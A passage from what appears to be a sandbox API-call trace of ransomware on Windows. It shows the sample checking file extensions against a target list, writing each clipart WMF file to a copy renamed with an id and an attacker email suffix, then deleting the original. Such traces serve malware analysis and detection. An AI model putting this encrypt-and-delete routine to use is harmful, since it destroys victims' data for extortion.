| out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0159.647] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.647] WriteFile (in: hFile=0x3c4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.647] SetEndOfFile (hFile=0x3c4) returned 1 [0159.647] CloseHandle (hObject=0x3c4) returned 1 [0159.647] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.647] SetEndOfFile (hFile=0x384) returned 1 [0159.649] CloseHandle (hObject=0x384) returned 1 [0159.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 1 [0159.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.650] lstrlenW (lpString=".doc") returned 4 [0159.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.650] lstrlenW (lpString=".docx") returned 5 [0159.650] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.650] lstrlenW (lpString=".pdf") returned 4 [0159.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.650] lstrlenW (lpString=".xls") returned 4 [0159.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.650] lstrlenW (lpString=".xlsx") returned 5 [0159.650] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.650] lstrlenW (lpString=".ppt") returned 4 [0159.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.650] lstrlenW (lpString=".zip") returned 4 [0159.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.650] lstrlenW (lpString=".rar") returned 4 [0159.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.651] lstrlenW (lpString=".bz2") returned 4 [0159.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.651] lstrlenW (lpString=".7z") returned 3 [0159.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.651] lstrlenW (lpString=".dbf") returned 4 [0159.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.651] lstrlenW (lpString=".1cd") returned 4 [0159.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.651] lstrlenW (lpString=".jpg") returned 4 [0159.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.651] lstrlenW (lpString=".doc") returned 4 [0159.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.651] lstrlenW (lpString=".docx") returned 5 [0159.651] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.651] lstrlenW (lpString=".pdf") returned 4 [0159.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.651] lstrlenW (lpString=".xls") returned 4 [0159.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.651] lstrlenW (lpString=".xlsx") returned 5 [0159.651] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.651] lstrlenW (lpString=".ppt") returned 4 [0159.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.651] lstrlenW (lpString=".zip") returned 4 [0159.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.651] lstrlenW (lpString=".rar") returned 4 [0159.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.651] lstrlenW (lpString=".bz2") returned 4 [0159.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.651] lstrlenW (lpString=".7z") returned 3 [0159.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.652] lstrlenW (lpString=".dbf") returned 4 [0159.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.652] lstrlenW (lpString=".1cd") returned 4 [0159.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0159.652] lstrlenW (lpString=".jpg") returned 4 [0159.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.652] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.652] lstrlenW (lpString="J0152704.WMF") returned 12 [0159.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.653] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1652) returned 1 [0159.653] CloseHandle (hObject=0x384) returned 1 [0159.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 0x20 [0159.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.653] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.653] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.654] GetLastError () returned 0x0 [0159.654] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x674, lpOverlapped=0x0) returned 1 [0159.843] WriteFile (in: hFile=0x3c4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x680, lpOverlapped=0x0) returned 1 [0159.844] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.844] WriteFile (in: hFile=0x3c4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.844] SetEndOfFile (hFile=0x3c4) returned 1 [0159.844] CloseHandle (hObject=0x3c4) returned 1 [0159.844] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.844] SetEndOfFile (hFile=0x384) returned 1 [0159.846] CloseHandle (hObject=0x384) returned 1 [0159.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0159.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.854] lstrlenW (lpString=".doc") returned 4 [0159.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.854] lstrlenW (lpString=".docx") returned 5 [0159.854] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.854] lstrlenW (lpString=".pdf") returned 4 [0159.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.854] lstrlenW (lpString=".xls") returned 4 [0159.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.854] lstrlenW (lpString=".xlsx") returned 5 [0159.854] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.854] lstrlenW (lpString=".ppt") returned 4 [0159.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.854] lstrlenW (lpString=".zip") returned 4 [0159.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.854] lstrlenW (lpString=".rar") returned 4 [0159.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.854] lstrlenW (lpString=".bz2") returned 4 [0159.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.854] lstrlenW (lpString=".7z") returned 3 [0159.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.854] lstrlenW (lpString=".dbf") returned 4 [0159.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.855] lstrlenW (lpString=".1cd") returned 4 [0159.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.855] lstrlenW (lpString=".jpg") returned 4 [0159.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.855] lstrlenW (lpString=".doc") returned 4 [0159.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString=".docx") returned 5 [0159.855] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.855] lstrlenW (lpString=".pdf") returned 4 [0159.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString=".xls") returned 4 [0159.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.855] lstrlenW (lpString=".xlsx") returned 5 [0159.855] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.855] lstrlenW (lpString=".ppt") returned 4 [0159.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.855] lstrlenW (lpString=".zip") returned 4 [0159.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.855] lstrlenW (lpString=".rar") returned 4 [0159.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString=".bz2") returned 4 [0159.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString=".7z") returned 3 [0159.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.855] lstrlenW (lpString=".dbf") returned 4 [0159.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.855] lstrlenW (lpString=".1cd") returned 4 [0159.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0159.856] lstrlenW (lpString=".jpg") returned 4 [0159.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.856] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.856] lstrlenW (lpString="J0152722.WMF") returned 12 [0159.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.856] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7020) returned 1 [0159.856] CloseHandle (hObject=0x384) returned 1 [0159.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 0x20 [0159.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.857] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.857] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.858] GetLastError () returned 0x0 [0159.858] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1b6c, lpOverlapped=0x0) returned 1 [0159.869] WriteFile (in: hFile=0x3c4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1b70, lpOverlapped=0x0) returned 1 [0159.870] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.870] WriteFile (in: hFile=0x3c4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.870] SetEndOfFile (hFile=0x3c4) returned 1 [0159.871] CloseHandle (hObject=0x3c4) returned 1 [0159.871] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.871] SetEndOfFile (hFile=0x384) returned 1 [0159.873] CloseHandle (hObject=0x384) returned 1 [0159.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 1 [0159.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.932] lstrlenW (lpString=".doc") returned 4 [0159.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.932] lstrlenW (lpString=".docx") returned 5 [0159.932] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.932] lstrlenW (lpString=".pdf") returned 4 [0159.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.932] lstrlenW (lpString=".xls") returned 4 [0159.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.932] lstrlenW (lpString=".xlsx") returned 5 [0159.932] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.932] lstrlenW (lpString=".ppt") returned 4 [0159.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.932] lstrlenW (lpString=".zip") returned 4 [0159.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.932] lstrlenW (lpString=".rar") returned 4 [0159.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.932] lstrlenW (lpString=".bz2") returned 4 [0159.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.932] lstrlenW (lpString=".7z") returned 3 [0159.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.932] lstrlenW (lpString=".dbf") returned 4 [0159.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.932] lstrlenW (lpString=".1cd") returned 4 [0159.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.932] lstrlenW (lpString=".jpg") returned 4 [0159.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.932] lstrlenW (lpString=".doc") returned 4 [0159.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.932] lstrlenW (lpString=".docx") returned 5 [0159.933] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.933] lstrlenW (lpString=".pdf") returned 4 [0159.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.933] lstrlenW (lpString=".xls") returned 4 [0159.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.933] lstrlenW (lpString=".xlsx") returned 5 [0159.933] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.933] lstrlenW (lpString=".ppt") returned 4 [0159.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.933] lstrlenW (lpString=".zip") returned 4 [0159.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.933] lstrlenW (lpString=".rar") returned 4 [0159.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.933] lstrlenW (lpString=".bz2") returned 4 [0159.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.933] lstrlenW (lpString=".7z") returned 3 [0159.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.933] lstrlenW (lpString=".dbf") returned 4 [0159.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.933] lstrlenW (lpString=".1cd") returned 4 [0159.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0159.933] lstrlenW (lpString=".jpg") returned 4 [0159.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.933] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.933] lstrlenW (lpString="J0152898.WMF") returned 12 [0159.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.935] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4496) returned 1 [0159.935] CloseHandle (hObject=0x3a0) returned 1 [0159.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 0x20 [0159.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.935] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.935] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0159.936] GetLastError () returned 0x0 [0159.936] ReadFile (in: hFile=0x3a0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1190, lpOverlapped=0x0) returned 1 [0159.940] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x11a0, lpOverlapped=0x0) returned 1 [0159.941] ReadFile (in: hFile=0x3a0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.941] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.942] SetEndOfFile (hFile=0x1b8) returned 1 [0159.950] CloseHandle (hObject=0x1b8) returned 1 [0159.950] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: 